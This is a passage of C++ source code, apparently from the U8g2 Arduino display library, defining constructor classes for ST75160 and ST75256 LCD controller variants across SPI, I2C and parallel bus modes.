d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_8080 : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75160_JM16096_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75160_JM16096_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_SW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75160_JM16096_2_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75160_JM16096_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_SW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75160_JM16096_F_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_ST75160_JM16096_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_ST75160_JM16096_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75160_i2c_jm16096_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_6800 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_1_8080 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_2_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_6800 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_2_8080 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_6800 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_F_8080 : public U8G2 {\n  public: U8G2_ST75256_JLX256128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_jlx256128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_6800 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_WO256X128_F_8080 : public U8G2 {\n  public: U8G2_ST75256_WO256X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_wo256x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_SW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_ST75256_JLX256128_1_HW_I2C : public U8G2 {\n  public: U8G2_ST75256_JLX256128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_st75256_i2c_jlx256128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  